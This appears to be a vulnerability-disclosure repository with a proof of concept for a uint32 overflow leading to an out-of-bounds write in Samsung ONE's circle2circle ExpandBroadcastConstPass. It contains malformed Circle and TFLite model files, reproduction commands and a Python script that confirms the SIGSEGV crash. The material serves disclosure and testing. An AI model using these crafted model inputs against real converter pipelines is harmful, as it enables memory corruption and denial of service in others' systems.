pragnyanramtha commited on
Commit
0168f5c
·
verified ·
1 Parent(s): d98a45a

Add Circle ExpandBroadcastConstPass OOB PoC

Browse files
README.md ADDED
@@ -0,0 +1,97 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ library_name: other
3
+ tags:
4
+ - security
5
+ - model-format
6
+ - circle
7
+ - samsung-one
8
+ - poc
9
+ - benign-crash
10
+ ---
11
+
12
+ # Samsung ONE Circle ExpandBroadcastConstPass OOB Write PoC
13
+
14
+ This repository contains a benign model-format vulnerability proof for Samsung ONE Circle.
15
+ The PoC does not execute code, persist state, access credentials, or make network calls; it only demonstrates a model-carried native crash in a local converter/optimizer path.
16
+
17
+ ## Summary
18
+
19
+ `add_overflow_oob_min.circle` is a 636-byte Circle FlatBuffer with an Add graph whose model-controlled shape is `[1431655766, 3]` and constant shape is `[1, 3]`.
20
+
21
+ In Samsung ONE `1.30.1`, `circle2circle --expand_broadcast_const` reaches `luci::ExpandBroadcastConstPass`. The pass multiplies output dimensions into a `uint32_t` allocation size, so `1431655766 * 3` wraps to `2`. It then uses the original dimensions as loop/index bounds, writing past the two-float allocation and crashing with SIGSEGV.
22
+
23
+ The default `circle2circle` path accepts and rewrites the artifact without crashing. The companion `add_overflow_oob_min.tflite` is the same FlatBuffer with `TFL3` file identifier; `one-import-tflite` preserves the malformed shape, and the imported Circle artifact crashes the same optimizer pass.
24
+
25
+ ## Affected Format
26
+
27
+ - Format: Samsung ONE Circle FlatBuffer (`CIR0`)
28
+ - Tested target: Samsung ONE `onecc` `1.30.1`
29
+ - Trigger path: `circle2circle --expand_broadcast_const`
30
+ - Supporting import path: `one-import-tflite` followed by `circle2circle --expand_broadcast_const`
31
+
32
+ GitHub marked ONE `1.30.1` as the latest release at local verification time on 2026-05-12. The current upstream `master` source also still contained the same unchecked `uint32_t constant_size` multiplication in `compiler/luci/pass/src/ExpandBroadcastConstPass.cpp`.
33
+
34
+ ## Security Impact
35
+
36
+ The artifact controls tensor dimensions that are used in native allocation and indexing logic. The optimizer pass allocates storage for two FLOAT32 elements after unsigned wraparound, then performs indexed FLOAT32 stores using the unwrapped model dimensions. Local GDB verification placed the crash inside `libluci_pass.so` during `luci::ExpandBroadcastConstPass::run(loco::Graph*)`, faulting on an indexed float store.
37
+
38
+ This should be treated as native memory corruption in a model converter/optimizer pass. It is not claimed as arbitrary code execution.
39
+
40
+ ## Artifacts
41
+
42
+ - `add_overflow_oob_min.circle`
43
+ - SHA256: `16b35129a92c8250ef79bcbd5b834749af63d707917c7970d1da8a5720849a8f`
44
+ - Size: 636 bytes
45
+ - `add_overflow_oob_min.tflite`
46
+ - SHA256: `76a03afe7e6b4d664b73444911e57c54bb1c97b8e6f7f5e38c8f88cea461e147`
47
+ - Size: 636 bytes
48
+
49
+ ## Reproduction
50
+
51
+ Install or unpack Samsung ONE `onecc` `1.30.1`, then run:
52
+
53
+ ```bash
54
+ export ONE_ROOT=/path/to/onecc-1.30.1
55
+ export PATH="$ONE_ROOT/bin:$PATH"
56
+ export LD_LIBRARY_PATH="$ONE_ROOT/lib:${LD_LIBRARY_PATH:-}"
57
+
58
+ python3 verify_circle_expand_broadcast_oob.py --one-root "$ONE_ROOT"
59
+ ```
60
+
61
+ Expected result:
62
+
63
+ - `circle2circle_default.returncode == 0`
64
+ - `circle2circle_expand_broadcast_const.returncode == -11` or shell status `139`
65
+ - `one_import_tflite.returncode == 0`
66
+ - `imported_circle2circle_expand_broadcast_const.returncode == -11` or shell status `139`
67
+
68
+ Manual minimal commands:
69
+
70
+ ```bash
71
+ circle2circle add_overflow_oob_min.circle /tmp/default.circle
72
+ circle2circle --expand_broadcast_const add_overflow_oob_min.circle /tmp/expanded.circle
73
+ ```
74
+
75
+ The first command should return `0`; the second should terminate with SIGSEGV.
76
+
77
+ ## Artifact Construction
78
+
79
+ The Circle artifact was derived from a valid tiny Add graph. The PoC changes the graph input and output tensor shapes to `[1431655766, 3]`, leaves the constant shape as `[1, 3]`, and stores three FLOAT32 values in the constant buffer.
80
+
81
+ The TFLite companion is the same FlatBuffer with the file identifier changed from `CIR0` to `TFL3`. This checks that the malformed shape can survive the supported TFLite import path before reaching Circle optimization.
82
+
83
+ ## Scanner Behavior
84
+
85
+ ModelScan `0.8.8` reported zero issues and skipped the `.circle` artifact as unsupported. This is supporting scanner/runtime mismatch evidence only; the primary impact is the native converter crash.
86
+
87
+ ## Local Verification Notes
88
+
89
+ Local verification on 2026-05-12 used Samsung ONE `1.30.1`.
90
+
91
+ GDB confirmed the crash occurs inside `libluci_pass.so` during `luci::ExpandBroadcastConstPass::run(loco::Graph*)`.
92
+
93
+ Known-issue checks found related Samsung ONE correctness fixes for `ExpandBroadcastConstPass`, but not this `uint32_t constant_size` wraparound leading to SIGSEGV. CVE-2026-41666 / PR #16481 is a separate runtime tensor memory-size calculation issue, not this converter-pass crash.
94
+
95
+ ## Limitation
96
+
97
+ This is a native memory-corruption crash in an optimizer/converter pass, not arbitrary code execution.
SHA256SUMS ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ 16b35129a92c8250ef79bcbd5b834749af63d707917c7970d1da8a5720849a8f add_overflow_oob_min.circle
2
+ 76a03afe7e6b4d664b73444911e57c54bb1c97b8e6f7f5e38c8f88cea461e147 add_overflow_oob_min.tflite
add_overflow_oob_min.circle ADDED
Binary file (636 Bytes). View file
 
add_overflow_oob_min.tflite ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:76a03afe7e6b4d664b73444911e57c54bb1c97b8e6f7f5e38c8f88cea461e147
3
+ size 636
verify_circle_expand_broadcast_oob.py ADDED
@@ -0,0 +1,177 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ from __future__ import annotations
3
+
4
+ import argparse
5
+ import hashlib
6
+ import json
7
+ import os
8
+ import shutil
9
+ import signal
10
+ import subprocess
11
+ import sys
12
+ import time
13
+ from pathlib import Path
14
+ from typing import Any
15
+
16
+
17
+ ROOT = Path(__file__).resolve().parent
18
+ ARTIFACT = ROOT / "add_overflow_oob_min.circle"
19
+ TFLITE_ARTIFACT = ROOT / "add_overflow_oob_min.tflite"
20
+
21
+
22
+ def sha256(path: Path) -> str:
23
+ return hashlib.sha256(path.read_bytes()).hexdigest()
24
+
25
+
26
+ def run(cmd: list[str], env: dict[str, str], timeout: float, cwd: Path) -> dict[str, Any]:
27
+ started = time.monotonic()
28
+ proc = subprocess.Popen(
29
+ cmd,
30
+ cwd=cwd,
31
+ env=env,
32
+ stdout=subprocess.PIPE,
33
+ stderr=subprocess.PIPE,
34
+ text=True,
35
+ start_new_session=True,
36
+ )
37
+ try:
38
+ stdout, stderr = proc.communicate(timeout=timeout)
39
+ timed_out = False
40
+ except subprocess.TimeoutExpired:
41
+ os.killpg(proc.pid, signal.SIGTERM)
42
+ try:
43
+ stdout, stderr = proc.communicate(timeout=1)
44
+ except subprocess.TimeoutExpired:
45
+ os.killpg(proc.pid, signal.SIGKILL)
46
+ stdout, stderr = proc.communicate()
47
+ timed_out = True
48
+
49
+ return {
50
+ "cmd": cmd,
51
+ "returncode": proc.returncode,
52
+ "timed_out": timed_out,
53
+ "elapsed_sec": round(time.monotonic() - started, 3),
54
+ "stdout_tail": stdout[-2000:],
55
+ "stderr_tail": stderr[-2000:],
56
+ }
57
+
58
+
59
+ def build_env(one_root: Path) -> dict[str, str]:
60
+ env = os.environ.copy()
61
+ env["PATH"] = f"{one_root / 'bin'}:{env.get('PATH', '')}"
62
+ env["LD_LIBRARY_PATH"] = f"{one_root / 'lib'}:{env.get('LD_LIBRARY_PATH', '')}"
63
+ env["PYTHONNOUSERSITE"] = "1"
64
+ return env
65
+
66
+
67
+ def main() -> int:
68
+ parser = argparse.ArgumentParser()
69
+ parser.add_argument(
70
+ "--one-root",
71
+ type=Path,
72
+ default=Path(os.environ.get("ONE_ROOT", "/workspace/circle/repos/onecc-1.30.1")),
73
+ help="Path to an unpacked Samsung ONE onecc release.",
74
+ )
75
+ parser.add_argument(
76
+ "--out-dir",
77
+ type=Path,
78
+ default=ROOT / "verify_outputs",
79
+ help="Directory for generated verification outputs.",
80
+ )
81
+ parser.add_argument("--modelscan", action="store_true", help="Run ModelScan if available.")
82
+ args = parser.parse_args()
83
+
84
+ args.out_dir.mkdir(parents=True, exist_ok=True)
85
+ env = build_env(args.one_root)
86
+ cwd = ROOT
87
+
88
+ results: dict[str, Any] = {
89
+ "artifacts": {
90
+ ARTIFACT.name: {"sha256": sha256(ARTIFACT), "size": ARTIFACT.stat().st_size},
91
+ TFLITE_ARTIFACT.name: {
92
+ "sha256": sha256(TFLITE_ARTIFACT),
93
+ "size": TFLITE_ARTIFACT.stat().st_size,
94
+ },
95
+ },
96
+ "commands": {},
97
+ }
98
+
99
+ results["commands"]["one_version"] = run(["one-version"], env, timeout=5, cwd=cwd)
100
+ results["commands"]["circle2circle_default"] = run(
101
+ ["circle2circle", str(ARTIFACT), str(args.out_dir / "default.circle")],
102
+ env,
103
+ timeout=5,
104
+ cwd=cwd,
105
+ )
106
+ results["commands"]["circle2circle_expand_broadcast_const"] = run(
107
+ [
108
+ "circle2circle",
109
+ "--expand_broadcast_const",
110
+ str(ARTIFACT),
111
+ str(args.out_dir / "expand_broadcast_const.circle"),
112
+ ],
113
+ env,
114
+ timeout=5,
115
+ cwd=cwd,
116
+ )
117
+
118
+ one_import = args.one_root / "bin" / "one-import-tflite"
119
+ if one_import.exists():
120
+ py = sys.executable or shutil.which("python3") or "python3"
121
+ imported = args.out_dir / "imported_from_tflite.circle"
122
+ results["commands"]["one_import_tflite"] = run(
123
+ [py, str(one_import), "-i", str(TFLITE_ARTIFACT), "-o", str(imported)],
124
+ env,
125
+ timeout=20,
126
+ cwd=cwd,
127
+ )
128
+ if imported.exists():
129
+ results["artifacts"][str(imported)] = {
130
+ "sha256": sha256(imported),
131
+ "size": imported.stat().st_size,
132
+ }
133
+ results["commands"]["imported_circle2circle_expand_broadcast_const"] = run(
134
+ [
135
+ "circle2circle",
136
+ "--expand_broadcast_const",
137
+ str(imported),
138
+ str(args.out_dir / "imported_expand_broadcast_const.circle"),
139
+ ],
140
+ env,
141
+ timeout=5,
142
+ cwd=cwd,
143
+ )
144
+
145
+ if args.modelscan:
146
+ modelscan = shutil.which("modelscan") or str(Path(sys.executable).parent / "modelscan")
147
+ if modelscan and not Path(modelscan).exists():
148
+ modelscan = None
149
+ if modelscan:
150
+ results["commands"]["modelscan"] = run(
151
+ [modelscan, "scan", "-p", str(ARTIFACT), "-r", "json", "--show-skipped"],
152
+ env,
153
+ timeout=60,
154
+ cwd=cwd,
155
+ )
156
+ else:
157
+ results["commands"]["modelscan"] = {"skipped": "modelscan not on PATH"}
158
+
159
+ default_ok = results["commands"]["circle2circle_default"]["returncode"] == 0
160
+ crash_rc = results["commands"]["circle2circle_expand_broadcast_const"]["returncode"]
161
+ crash_ok = crash_rc in {-11, 139}
162
+ imported_result = results["commands"].get("imported_circle2circle_expand_broadcast_const")
163
+ imported_ok = not imported_result or imported_result.get("returncode") in {-11, 139}
164
+
165
+ results["verdict"] = {
166
+ "default_path_ok": default_ok,
167
+ "expand_broadcast_const_sigsegv": crash_ok,
168
+ "imported_tflite_preserves_crash": imported_ok,
169
+ "passed": default_ok and crash_ok and imported_ok,
170
+ }
171
+
172
+ print(json.dumps(results, indent=2))
173
+ return 0 if results["verdict"]["passed"] else 1
174
+
175
+
176
+ if __name__ == "__main__":
177
+ raise SystemExit(main())
verify_outputs/default.circle ADDED
Binary file (468 Bytes). View file
 
verify_outputs/imported_from_tflite.circle ADDED
Binary file (640 Bytes). View file
 
verify_outputs/imported_from_tflite.circle.log ADDED
@@ -0,0 +1 @@
 
 
1
+ /workspace/circle/repos/onecc-1.30.1/bin/tflite2circle /workspace/circle/hf_circle_expand_broadcast_oob_poc/add_overflow_oob_min.tflite /workspace/circle/hf_circle_expand_broadcast_oob_poc/verify_outputs/imported_from_tflite.circle